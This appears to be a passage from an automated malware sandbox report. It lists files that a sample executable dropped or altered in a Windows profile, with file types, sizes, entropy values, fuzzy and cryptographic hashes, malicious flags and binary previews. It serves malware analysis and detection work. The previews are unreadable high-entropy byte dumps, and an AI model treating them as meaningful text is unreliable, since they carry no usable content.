Preview:	mozUR.fx.a...!...;.....d..SZc.~..;...`..E...8....V..E.#C...?.....v....,....G}bj....0.0.CW..F..LZ$..K.vb.<D.T..hM............r. .......0.H3...Gn...5Z...=_...Z....3].x.a.;va...MX..pT..J.....1..........".I...<.j...c>..O)Ar..G.x...].Z...b../....)n..u..H.\|a.!..8.m2..!h..~.z...E...BX..5.............H......Q..<.................4...T..y...A...1.......Lv.c..5..T..L.....`K./...\|..o.....-z\|.IQe...#.O.S.l..B .u$./....4.....\|.......-..a..o..<...........J._K...a../...r.n:.-.....z\|..F;.A...}.....c~...>.Mt.e..{..{.....f.?.<.w....WP#y]G..d..[...e.4...5T...Q..ziwn..,..fn.....?..].....".L.t...h.ziy....8D...6....\|b..m......B-.~_.W.h...[.-..JL...gL?.F..dh.Q/Z..]H..6..).=.p.g...W._A42..\|..bd.O.).a"&..m.d.>}.]....s....h.VM...O.w...X..c....%..A....V...[K~'.......1...R...Y..KM......@-t.w..qm....Y..4.e\|..v..N.fv.^3...V..=Ml.'.(..m..6W.i.S0..!.................AWQ......bm<..p.zI._Z5...?.@1..w..V+e.4>\.1.+>...G.B...G.A.z.uJy..t...)..O.Q..}.8.eo.L.%^..t>.-.$`iB.B+.5....S.~

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\urlCache.bin

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3739
Entropy (8bit):	7.94987209891692
Encrypted:	false
SSDEEP:	96:A2aSGa+AFlDGocm3HBL/Ousx02mMaexjE7tanQ2Mr/W8:d+AFlJcmXBq6MaexjE7tuDMrZ
MD5:	32D1823F236134746CF89FE1B5FE0F5A
SHA1:	084BEFB4D7736126673342A8D3C2D60D8184A32D
SHA-256:	425A7D16F0CC4550B9E975135D307E364D3798B2427CEA5C078753CECF159E40
SHA-512:	C233B07D3DAE517AD4A1DF17AAABF0496A14B97A3F9A9721A4142C4D2C74C1B28A48C39F0A51789F89001E8A2508CC45F351F70B3CC0F7F2EC532303A77822AE
Malicious:	false
Preview:	mozUR.........fwm..KN....+D...M....;N3I........?....Z@...)Z.y.a.............36.0.@....u1T..6~.'.CN.(C...L..'8...h.....f.4.M..c...5.M.k.E...O..=.5.3..qG......a.!.6A../=..1".)....h{.T....\ll..U#^a.A..h..~.:....!..V...1...#....K.<...TI..d.........4Me;.r.:.a9T....2.O...RP.........E.Q`.......`....2.'..1.\|...nT.Q.$...,..Y............j..o!...C{.....u.X...k...Hr:.p"S..FM<...@.F.z..cp...=d....+.T.E..../A..=!.$o...n.z..V1...(.f<..\#..cP...r....]....`.......6..s...k.ee...;~.3.../Q.@...P.L\...X...c..Y....y,.t_....d...L..th{.~n..XM.._.kb.....&.OAG.g.....#.o."%M.9.G.b.....[.x....J.)8:....$/4)._..*)..%.....z...@../%.......j.OX....EK..s..<6..'.`.L...`.]pD+...BR)w...#.I.\|.'.....6.....DYY...F I..Q./; :x..8........7..jU.....+.v>...H.NAp.......Qj......+...h.E4o.u.!...<......R/+.2......1..k,...L.....\|...........2"..5...T.u.Q.C..g.<J....K....LT5r#=....si.";$...Q.....J..)...p{..Kh.....\&E.......P.0.R..;..!d..w...VM...:.=..cZ.}.F.Xb&.T.G.

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\webext.sc.lz4

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	110692
Entropy (8bit):	7.9984942904494245
Encrypted:	true
SSDEEP:	3072:Me1o3xxwjRQQLn00usVt1Ej2cSjBXZmZQSQOAFblz:Me1o3HwdQQLn00usVt1Ej2cSbmZSFbV
MD5:	BBAEF8562F4BC8828BF676F407EBBBCF
SHA1:	7787D5862BD93C493778489CE44B730729F302E9
SHA-256:	BF863A283A2AB81BF0D4DD3F7D95B990379ED7B8574134B8ED29294AA4547B22
SHA-512:	7D794AD942230B0763ED7BA9D8E1F58B7CDFD77193464D9331FF1CD3587D136260A9E8117E48D95820ED264747698DDC51BF1F02825ED9ABB77507BE1A18A95E
Malicious:	true
Preview:	mozJS.._.....:..%.....Fi.......LZ]....'.#.r...W.e.5....hb>w..e ...O]Zv...(...T.h....+`.8......ij...Q..kn.............$...L..b.F.=.7...=[..on0..)..........P.....;)....".W9.......&.S.;]...z.."....p..p.'^W..A8v..!..7.T.Fa...[..,u..Y.<R..v..9.)_l..Hd9.?I...S.......\|.{..r&2~.@.fR]s...O.o...i].%?....e.../.B...9..sadx@&.k.p....b..`......r..m..F..{.Qy:~.U.......EE.U......P.@.....\Nn[Hc....#}....HN.f}it..g...lB...m.h.i.....Z...ay...........$Q.7..j....y..%.X.bj4=.~...7.$....j.g..U..AoW.y....0K..fT.>.4P.d.. %...I.24-'..U9.F.O1...Ct..%.7..%i.ud..~......2.>;....=.i....A.........l.).2{..i.r,..n..S.&..?...F...OF.g.h2....X..I.N. ..1.3,l.:K..p....Fqv..d...ZN.....;...O....)h.?fl..@..-6..V<i...f..gr.p@....'{.R.B...AH{..7\|>9...G.#.Ky..?.I..9....[c...{...3.Hl..^.;jr.H2...../ .1...:3.@.6..+...A`H.i.K...n.N...KSH..1#..@.E..{...pz..F#w..Z....T.......9... J.8.C..../kJ....V.q..z.Z+YQ.......d>.....4G#..+..Hj}..^E...../.W..F......K..1.....*.Dh?..H/.xEL.....}

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\AC\GEH\POF.dat

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978326453602114
Encrypted:	false
SSDEEP:	192:Vg6P30udRjrKMIFdTqWAwA2eEBRnXRNDvwVKP9/e5fk0scbLL:VJvTjCrtAwhjPIVKP85fk0sCLL
MD5:	A30C02C1DFDA52EBE7E4C9B55FABCFFE
SHA1:	E00D641D02A8042F7C35A5F9949A95E5D006DC96
SHA-256:	25759A410C5FDCF43CC11A6E0F74190AEE7823E459CB477A4F9F32963A06AA56
SHA-512:	8BD3E7DEA9E2731F5E6CBF91C8C2B01AAA13A2E04D43A6EA2F732448DB3914D1186566B366762390961F6777C35A938FB80C86D5EBD11A8F1E2CC43C7578F76B
Malicious:	false
Preview:	regf.Px..B-L..G....ipF.....@.[...F...c.........BG..$Z.s..W...i.. .(.......e/..=#...A....2./c..A.uP...L]%vR..Gd,..d5.`.`".{.g.9.5p8[.-........A=....cS.M..!v.....t........_p....rrju....$...!U_.k........,.......E.:.D9.2B........G....8....+..<CR.4...M.'K.t-..`..n..3......Gr....1{i?s.>.@/....?...mi?.4!.8AH.{..3........-...n.@..>...o3s.i.2..A.r9..lU{.S`UE._n.\.F'.T."...6...k..rz.....;....C..PC......TJ.,}.s:...!zI..J.1.......Q..ds. ...SG.s.?..\|...0.........7..i.......Q.........].)..b...t.v........]}........9.......Y.+i....)..Pxjb(N...J.la^.......lJ.. .S.`hTl.....K(...F.". .k.s.Xf.)u..p..>..#.`k.."...D..IV-.;...Y.........h.=.'......\)...d..^.V...L.1..I).6R.....v."n....{......ZK...L..-..z....;..a.s.;.:....W@"`.I....Rt.7..K.9..........\|=Y..(..3,..{...^1.?.b)..?....3..w7...<..H....._.4zQ..@..Cd7..!{..M......t.o...a}53...;....o.\|..........6`..d.o....568...L.....u..\.......I.0.....<....p...H..9.M..b...0.&.....d..q ./.z.f....7..4.0..1"@5v..

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\AC\GEH\POF.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979513930141824
Encrypted:	false
SSDEEP:	192:CNuKYPvO7oCKgXDmr1l9wpzvt1hhEKVq63kPrVuCcM:CNuiVNmZ+zvFhv6rDcM
MD5:	1BD9E89380D4A2B06A0AAA47B154F7D9
SHA1:	EBC38D7F7DED397A77261E097CCB0544AF70C2EF
SHA-256:	280AD2581FB44A7E23C2D1E58E7562B69723E86BA0F5C1A5FD90ED9BA29E6E06
SHA-512:	C4152C79700595528264CC844288372D26FA682D574D9AA3DD7FDD08656934D0E1E553AF3C865BBF3DDE065AE20FFB4C3268F879505C81561F98BA43099191D3
Malicious:	false
Preview:	regf.?.0..Z .... .\...IB..W.>..I].V.9.T..._.t....&\.....,.+,N..Li...G.5......B..v..Sq.1u......R.,......6.w...........ar._.L...w.............d..(k^..P..o'c...&..r%P4.X...2.R.8....lw..S.S..B.q...QA.d.....A..Ah.f[.\|..^i..k?.z4..$..N..@7.....t2...Un(....{.G.M......H>....DO{V.....FD.r.f.A..~6.@A....7.df8z.1.s...I..V.F...?......H.9.pFV4..nf...f..z.P0...V..T-.!Y......0..E8(......y....+..%".((y.g.......g].xa...5....:.\0cji.-P)RHl^..).f9S.K-19_Ywg.rk.^p...<H.qy....8Xl.cx.,.....S#..9tw..>uR.5...O....U....'.f.".G..I..IzK...iT../.oQ\|..E...X\...R..KauG0.0.....HHD&........SM.AB...z.oo......1...1.&D......xR....%...@.E`.=`Y....&....$V.@....lkg~.\|.\|-3+GlJ.&.+c.p.......X.......h...ld.vj.<2...._.1...g...1.........&............=....5.[..g.&Er..0......ku....._.......5.)Hdq.p..T..!.QQs.dX.......\|...h.....'.p..BO[.e....d>....HXi.RF.L.U..c{..7.....[..t..n.....j ..%...F.I<...&.,...."W^.?..[..x..BH..&..mx.b.Y..h.g.F....+0.E...k......a.D...?....w..C..QD....-.L

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\AC\GEH\POF.dat.LOG2

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977877084837765
Encrypted:	false
SSDEEP:	192:1LDNkmhHPvDH2a/RXhEmAIbrKl4PNdLX10K4iYT:1LxkmhHHaa/oIbe2J1JYT
MD5:	F50261CFAF56E1A7BB6EE920B69AC731
SHA1:	AFEA6DB86C82626506C891C83F6B002D21E9555C
SHA-256:	F707C1AF741775DBCF5CCB8EA1CDF221A95371C932FF118DCF8CF1877A65B032
SHA-512:	660018B02E339726B580E616CEC164B3B64E22D0E3019F4E36A02CCD0729F3DFC0D3FEA1F0FBEC0D37637086B8FE4D7BFC76C1C1E82A139A7418D6C3A9231DF1
Malicious:	false
Preview:	regf......3.{+...#@{.=..k!`h(y\|..P......D.u.....-0.m.....:.....e....q.7..X.5RrF#.e.....-5.....~E.x........0...xQ..Y[.'....P....Z5.\..i..@....>.c&......R/..XA.%Yv.Pp..4...Qkw+.^M..h.7 ...^.f......)n. .>&.g...._..r......rI.y.r.th..B..('......F...Uv.K4.C...9.T..OJU.~.....E.&..x.I...A...V%%....'..o.g....r.......Xwf!o.y.h.5d.p...6b...K....Q.........w.8...H.L...9v...e.}.n'...7.@1...s.].&.}r..d....}..+....g...t..%jX...-.......:Nav.?.......LT.....cV..I@>...{!?-...'Q.......oG.:,.v$...N..n...s...M.....A..&.k..J.RJ..8.[d2q.F".T.d.......:..m....=@l6J..6.......`98..x}..D.E. A.F+..l.....^....I..}.....v.\|..W....\....,...5u..@...).J...\..RiTjpC.;...p.^.IT].6#P.N....O{...7...O.p......@G...l.A..fg..L....a..}4..bK..p.J......... +.\..W=....b.\|.4....,CYW@..IU.....3...g.'....@.p.t...]yXi8.....'.t.p.(..D..\......1^!.{.U..1...mq.r......._.t..cf......0..-.....u8..`...&qq7.h=.n.0D.Dj1.%..i`..a..s./,.Rw\|..D.......g..F.R..q*._...k.....I.b6-........p.E_.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\26310719480\squaretile.png

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2727
Entropy (8bit):	7.943141609388821
Encrypted:	false
SSDEEP:	48:5qrq0DPwbmA0hKr13D4PQsrLFTA86rjsMrRQTcyw8yJxsHAHED:5OMbYhKrVDSrLFEPrV2QPQ
MD5:	3D3A5B14966939E75D609CD542A12C42
SHA1:	A8A5B8BA360FE24D9F9DD9BE7ED20C7BD4C9625F
SHA-256:	C674B368B3B114D789ED79A99D98530D1D136292EAA0A00194D1839E84339F4C
SHA-512:	07A8015CBF5968F3BE4B69CD358A13429418F01EE25829008146B35936D7205F792CB485C2294B853C2C813D32C3C2DFF41526E90283E39882C599FE411351BA
Malicious:	false
Preview:	.PNG.......W...cN..a.X:.....bQH5T......L..IG...N@...{.{+.8......uy..$9.8KZ....S.m..].K.>..P..2.v..~...Qb.5.`$..`.].{.....z.....:....T.U....QG..Tt5......)..x6s6...RM..d.9+t.wYhJ...1..$.{'.......W..........cHT[+'...0....G..y.....).9$.....zN.&&.C......T...'.......8K.?B..ql....yV.o...(:..k...jjw....<..............!P.0.O...8tv...h-... .d..i....L...'..a..5...6....L..5...'..?H..t.\|J..^.X....[.w.i.f......x.s.E.....G.eX.R\|\|.J0...[;.....=.G.B...G].A......j.Yk.P.Bn..dx.a.]'..H..S@....Ei.\. 4a.m..[.M.>.vgd..Z<...]Y......6..q.jAR..CS....wb..]...._.Uq.UP.n]#.uh..Y... ..fz..R.........N..Q......A.X".e.a....#...R...!LE...H..D,..}-.h_..pB..4..:..D..o.x.nS2...../.].1.8..$.$...@.L.Ew....w\|`..s..1.j^..G.x....._l...56...cJ#..0..&....uN.#....;9..a.y....M.M..x9...z.........q....,..7Vq!....S.......6.........:.=. (F....:....0P..!.....8...z.....>T.(....f.RM.lI.A..g..\|o.....Y....x..G... ...tjJ.&.}M.~6lq...N....LU.%.y.Z...{?.bM3e@..^.2G.k.'T....ZQ.q.U...>e.....

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\26310719480\tinytile.png

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1961
Entropy (8bit):	7.898497266516417
Encrypted:	false
SSDEEP:	48:0vxCxfUDo0ThFJikbnD+QMKEBokUVBrEED:EAfkhFJikWQMKEGlwQ
MD5:	25CD7665A472443CA3D6CD09B314C5BC
SHA1:	C1342A020ED170FB584CEA2EF6DDD01681BCBA64
SHA-256:	396C4A56725309B667DF72423F4E3EC97C2FC50282953FF94435BDB90DF00EC9
SHA-512:	0C37213AB2C5F47E9AA0809F0F52C6D4593F90ADA1A690D9AA3C1150E8C561F100AB400EEFA454A4F4F931D83B57F96CA45770F62FD433FF94C583ECD9757B4D
Malicious:	false
Preview:	.PNG.[z......u....K...d..[...F......+.^J.U..?A..U2....B.....1\|<.w.q.K...6)h..}...\|=.........,\#`....R. E0.3....B^.s,....Ah..Fm...p\|..x..?..Vcek..b...0...`l..DH.P..e@..-...XH.08.!.m,[[....+.o.....H.K..5A......H..&..wk].0bN. ..[...5.........:;....[..3.(j'M.p,d<6gT.Kb....N..`..G..R................vR..VYZ.w.L...1P.=oM../-..$...bZ.Oy.......M.9/x..d..Z...')...v.>.\..iY..rV..ES1....y.>...!..5.}F..M$...x..p...........W.1r..,Q.S..w..MI..>.gn.......$Z............WJ.CvN.......V.=....-...(..a.v?:l.KU.7.L..W.v."......,yk.}.....?.........i..[.....d.(n......h..86..+..d)x.&.m.+_......Je?.C..{Z...`l..&...~..I...i......bq..m.O.$hbh7#...&...[.....A.$.....?..&....x=.G ..o......rh.......z..g~.& b..kJ+..H3.j?.C....s.F.5..x.........%#;\.b?(.>..N......?[.a<...[.\S...8...u.n.....P{M....&....T.i.`.R...R.vV...jLe...o.1.I.2.vP.....I .x>..A@...:...e........s#.'.H.\U...L}..<.....G.i.A.(K."Q.\NmV`.RR.N.R.&.4DK#..@K..SyhG:t.2..{.n...HQ..!..A!S..v(.a.._...1.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\38975140460\squaretile.png

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2735
Entropy (8bit):	7.923095439260953
Encrypted:	false
SSDEEP:	48:GtVdANGZR9NyVx8WccrFtfRml9xREokErcxNY1YwI5dezD:GXdQYR9Sgcx2TEoR9SwWdef
MD5:	C38F7D6C4D3F22C1CD54F7F36268F1F2
SHA1:	64E7A704C503D90535AF6918EAAA98D414F0661E
SHA-256:	7D3ECA74BABC932C1EB2F402F6D17F61127E1AE43B7650F44638D48BD67950BA
SHA-512:	7C5DE71B3AD86FDA865E81B279CB2BD4D5D8CD6F7D556799E8C1BCCECBAB8531C6BC4EA10EA9323A9ED654801E9177F64365921E8454F289AAEB777F5C4D5CCE
Malicious:	false
Preview:	.PNG..N4....8..b..hU.7~+..{....m..h......%...k...l;.X9....R_....8=..yT.7$C...}.1..a..PGF6C.......L....FX...3 ..q^....#^.....M..@..#]......w..7.h..P....G...~....h.4.t.X>%i..o.(?P.$ ..Y....J.!E9nr..Ys..j........(.ZseG..XS.^.. ..@.A..u/wtL..e..."6..d..".....B.Hf.B.mj....0..d.. .....(`..n..rM.......CN.....vs1wwc.r.vz..Map...{...@..e...L....8..G.....8Y3}....O...f..LA.lU`........,...~......7.T..-.....[.%~..'.......U."...>...V._.z.W......m.....6....D....Sd..._..vd.q9N..`...#]..N<[...H..I.Z...l\..>Y}..v.er.....jk..}."O.g@...Qn..A...>...............!aT...gq..3B.....s..G.E....ci.&....6.E.lI..x.Vf,)...0...-.:....i...M....b..X..x...{..&..+.q-x..e..'.........U....\|`};.....vw.....l..4.<.\:..C...S.B..2..A...1.K.Y......R.D-.\|=....?....^c......../o.H.I..<.....X.k..1.@rs.B.w...3.y..r..&.C... ....+..k.YG&....:A.R.q...l...&.....'.z..)f/.;.-.X.)YI.*.C.x.z..e.j.x\|...%.}.h.q....(.....x..n.......s.....?..n. .......c.0..N....7.\|D.....\8$.a.I..9-_.l...Xm..

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\38975140460\tinytile.png

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1911
Entropy (8bit):	7.904669390379492
Encrypted:	false
SSDEEP:	24:h431JQ2KVzqTw4w7bykU58u6xtVMttB7QpZwTFoJTd7ULgSROLhKezoihgNNJzbD:h4GRrzI8u6JitB7AZw67UkoY3fhgJnD
MD5:	87A23350CECC600A458C444AD6D32AC0
SHA1:	795D6E43FB7BDB41B1B472B8D65306A1DF326578
SHA-256:	47BFA98E051F3290A76C9051A6D68C8E6B5433EE8B871B9B93A75D2DA1758AD2
SHA-512:	A5DD1ED651C30C4DB728465BA3E8089D5AC36EB225B0A676F0933B278D1E662BA01BD2F5E56D37DC9C173BBB79BBD077EDBA98B7E94BBCBD5BF8981034EB763A
Malicious:	false
Preview:	.PNG.......I9...S.kL"'FE.s......;.-........T..yW`..y.Am./...>.m....(../.Ba.._.....3T.......>w........oh!0.`.C. tS...ti....7.....;H..d.k...^.J.b\......(q.9.5..my.?g.......a.G..s?\.V.QyX.i..O...O.6..(..H..q...,.s.&.(...s]..pT-..X...K....\|4..~6\|.Zc...C....h.....f....M."\|.~......{y...!..h^^.oo.}p..M@C>.a.B=.m."s.V.`$S.._..I...^.....v.h...........2....W!J.E.%..S4...V..nA...2.O.......:4.v...?u..w...'$....W...p]9..@FW...K[....G.?yLw..g.(.K...w.R..........&.y.\|N..C}....[.?!..5..@.7.3Miyg;f..Ek.K..p.E.56xcz.~.f&.+F<.j...>2.#.&..uf$..t\....`.a.]+....+p.n.>.//.z.YC.......azv.........:...45~;'......Z..E...>;..V..+9yE,.rX..g.,.....p_L.....jh$..P....y.,.t....?n...\|....w\|9.p.i.....).LI^.\|.{........Y0.....n....i.0..H....;.t.n..,.Y.ay.......w...K...J...H..oi.W.kd....l..C....,?....K...&.....I...V.E..Ys,.#.\|.X.Rg(.......a...I..~.qR9.`.<`..',.:f...w.....T...$n...~.RB^...?.j.9._.l.F~.K-F...T...W.P}... u..;-.N.q@...7.!U#....rS......%8..)2....*Oa..V."j..{....

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\6501008900\squaretile.png

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1887
Entropy (8bit):	7.9080557664818505
Encrypted:	false
SSDEEP:	48:Vtf5GJI0j3wUzNHyPPF+AUDVbtePaeo0BG7sU/EHH9Je3XXCi0epD:VtQG0j3wUJHM9R85QaejmsU/EHHeHy5e
MD5:	181A714F93B3FD8ADCF93E90BCC1E9FB
SHA1:	5F8BCDCEA2F42717B8F49B14992CBEE9CC29A5CC
SHA-256:	AD22226A99CE58AFCA91C45F600C705CC41D48AFD28F85A873506DCE0C3FEEAF
SHA-512:	DE629B0DC269D20871F17C6DB65112E3A8E6227A299C83833BB82126B450335B3EBAFD6CDF72CFE4918AD52A7189BE1009EE81FD4920B93AA0DB8071BD38AAD3
Malicious:	false
Preview:	.PNG...q.1..#Y...^.\|.A.....]h..k.Z.'..X6.A[<v..{..........C..........2...b....].............#...Yut............UdC...J5&-.Y%...p{..oJ....%F9..`..,.d...0......m$)._X..2..~W.J.>0.....$.l.:........``..np..g4.O.....I..t.c..'@.........7.O...4.'.....7......h."....d.(....2&..:].r..8$0....9K....;..c.\..V}.......>.;P...S.s.... Y'.a/(D..U...E..c.....2~q%.a.O..X.]..X.4W..G[F...f.B...^.mW.....zK. &.L..AH[@....\|+s.o.K.+{.O..\...Jp.......l...W.j..<r..j...b.2>.A...<d/.%LT>...a \.U.z3G....6...FZ1_....G/.K,....0T..2.u+/#1?j...p....j...-O...!2o.w..u..~;.BTs.R ...M........\..a{z.Y.j..R.9.....B;9..Nq...P...1N...@.......DK...,H.=.G..6.`d.."....?..bNNC;A.G.....I.#Y.3...@...E\.a'....NR.LO..".......Z.p....a.]x......H....kI.[.....^.B8.......X....e..t....[.=.C.F#.z).T..Q.Dl..2{.O ....m.q..@.w......~~.j..?......rF........F.G.....^R...Z....//.P./.P......L?.P..URm....B.-..._2...;...?.KJI..\..Y......G.}..=...1..-.Qq. ....i.1e.,%.^.+v.)Tz`....5.>.uGV?

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\6501008900\tinytile.png

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1447
Entropy (8bit):	7.8533303808852555
Encrypted:	false
SSDEEP:	24:AFeFdKPQfBXUaRHomAavZANs9Ah2s1CA6FwSQLEz8CAkPOR+IpTjYKiMeYUbD:AFeCPQfBXUaom7xANs9+2MCA6FwSuEzZ
MD5:	F003FB9B093471972376B95F320A4C25
SHA1:	D502EBE5069322F66987F0F22C5A19DB913C58D7
SHA-256:	753FE3843F5785DFB3FDF8CD34AA960B2206F53A108735CBE8B6943242BCDB8E
SHA-512:	A159A8D4C1124EDC91CA2A8F5FF86340CC2EE17A7D5AA1F251BBEF8A9BB4338B6D6707A8D8E5EB140982F0831379A1A4D8C67CEB53AB247F08B5168B66CAB34D
Malicious:	false
Preview:	.PNG...u;..&..}...r.c.~/.....N3.$..0V.\.........g..k..N...;..\d.f..2.v%.A..7........Qe.c.cI.P...q....c-.......]......)..x5...m-...zpd"../......\|.r.JBT.p`........)DJ7M6..[u..........$...m........~.8..'e....i.;$o....h...}..v....F$..%J;..F.?...~.......H.yA{A.....@h...3K.k3,.&..cD....8..`Of....a.$.~)..n..<u.....Q..!Q...?d.....].rn..r.qn;..G;Q...w...J...}h....8G ..7...H....2So..\|Le.<..2.....zY."......M......-.2............._..1....O..Z-P....d.yL..G.FJ?...Y..-E...... ...3~.9{....z.(..H.3.c.,..V~...(..y..r#.....T..k,g....A....a.Z..f..Q.@3.o.Vt....j...h.[.d..m......R.^.....GW...%..$.w$g.%...Cad/]&.S..T..6...Z.....\|.B.o.n.cv6W.WP./.J.+Q.@]The{v..OO.L{...Z.;....kF...u.CM..v....Dt...d.a.V.. I...o.D.."VH...!....6.......6w...tI...3.XT.c........g........rfkV.@.X.\4...H.(z.#~.&../.(<D..^l...~C.O.\|V...9.......]..S.....KoiB"a....[.3.ZM.._.%AU.2{...S.}.,..Hd..).&.....t..h. ..\k..x....y...1h....&.3XG..k.......s..,..q..#....J....T1+..........M..

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\7603651830\squaretile.png

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1783
Entropy (8bit):	7.884404595793709
Encrypted:	false
SSDEEP:	48:Uu2D90x6tKHacgdwIINkjTtodeiMdX+SV63y+ruNbenFHWiPbD:UR9Tw6cgd7brdXnV63y+r8bebPX
MD5:	85505E48575F3C8DEC31CE70004F9B8B
SHA1:	D35E393265564C3710D1F6380A3F1F7D9305F613
SHA-256:	212733B7E0D583E1988D69C65E5ADD6E1DAE58FCBF68E87D94FDA225E58DA3D4
SHA-512:	D8B288EE3098B8D0F2978A637CF78F4050C72127908F398C726F80CE69029E5AE54166001EA5CA90C38B863631D1019737E3CD0A013037A9D2193C764B92277F
Malicious:	false
Preview:	.PNG.^.......G...4..{..5..ZXA.IF....A.ib....._..../F....d..Z.!J.PZSVK...._oY%..S;E.U.8....9..%.......F0...%.(.X.....UY.x6..(...yz.Q}......\...d..g5t......q........q.!..wi.t.`...8U..a.a;4..j....0.^...I;\|..)]...>w-.J...-...^..V.3...7.......c.../.}/"..r.....".X"c.g..q..V........f[...$N...u..T.%.N....eq(....KdJ...,>..E."..<7....G.@J......{m~.#..s.g.Y ....S6.n..!.*,...Q.O..n.D%.......jL..Rw...6...i~......iH}.G.....d...P}W...~.._.:<q{.n5..L...Y#m.<e...i.)7i3.....U...>.L..630D.X..v..6.t.1...~....K5..q.{XV.?.G3.p.Y..!.c.d.".=P.:.;{,c.i...}0i..mp...N.1e~...m..R.I..P.......3<9".'._......Tj..r.!.z@..k.c..\|.b....HQ.`..D..^F.....&....J..3...).%..w.....Q.......RK...../..4;......^..l4..l...N.V...........r;......Oa.....[O}..suR.&..SG#x...........M1....n....B..e..].`.7......:.. ..j.F......=..I1.....f>zf..01...?.d..-.C2F...h.... ....&f.g.\6.=I........C..k@-.@..Ij.4f.8...Df..1D'T.y\...Du(..4...I..T6dU..A..$..t\..U..J..Y..o....w..v...Ndyi.m...

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.3862022419566205
Encrypted:	false
SSDEEP:	3072:+OkjxHO70Xt2bhB/L5vvl4E3RvTMsij31dC2WhnT3DfDKayZRuQayZRux:+JtfXt2bhBF9RZwwdGBa
MD5:	A4A4967E223D4EB6948D206632C6309A
SHA1:	20DABB0A7A1F992F078E316FCA67ADE751147F14
SHA-256:	1F654B2035E8A65D2B572334CEEF6451E7C5AA3943C54A7591E94678819DE0C5
SHA-512:	6C801003C05FC74899F6B2D1E3B083AA3B516295D6072A493902C95E7A0F76526450AC60D0B77DE62A4F7BD919D410C4AE08BE95F2E64D9F880F90AF16C34D26
Malicious:	false
Preview:	o....7..J...M.......I5JU...t'....rr'..<.......X,..h3..S.....z..:.f.N..S...f)r6..d....n.u~....C.@.jj.....#..{...<...c.=.H{..~"..D...m...=.5./.<O.>..t.yv...}0..~G....T.^...k........a:....3....v.._..Y:...V.._cQ..{..6.....3...O.W.eY8.Kc.,U.....3E..C#.~2..Vgc...&H..,2.Q.N\i....%...(H.Xd0J..J..\..$..u.....JU..u^.....]^.$c.......~"...1..,.X.>m]W..3'..<7Y.....w-....U..q......7..........8Lm..W$....2.....Uv...D..G....:Q...#.s..,..KV../...%.kCcI./q...nP<........n.(g...WdN..A..v.a%.$...)...Q/.n(.w.k..f.%%.z...f....4~1..gs._...........P..<....N[..7.W4\|=.....'....T..f....P...B....o.o;Koj8..n....yf.E.....X...7c....V....u..H_1..0.z.eV@_..8.v%...^9.T.V.wP. .....2".z....^Pwy.1..JO'3j..Hz(...y....S...z.u.)..H.7.E.J.Nx........j..{b....H.eUo..r..$.p'..A..[.....Ob..n.0o.aB..n.5x..`2.3.{KN...n+.S.[.,.a.N.....}.d`...jXg..@.)..>.{t.5......y..d.6.9....T...+.6...Y1.bW...0.'../......S.5.D.[].<...5.8...../....)m.a.....-.....P.SO^.j.h..k....1.S.9...*M.,.\..O....~aw...d.@

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989854662746228
Encrypted:	false
SSDEEP:	384:YnU0HgI08pMbDIqSl5zdZhtDt3Zj4sjMU+z3ZgeK89O:MUY08pUc5PD3Zj42MUaieY
MD5:	56759F3F5D1A44CF371D76311E91A76D
SHA1:	921BE1FAD03ED9B67F58B492801D7A2581CCEAA5
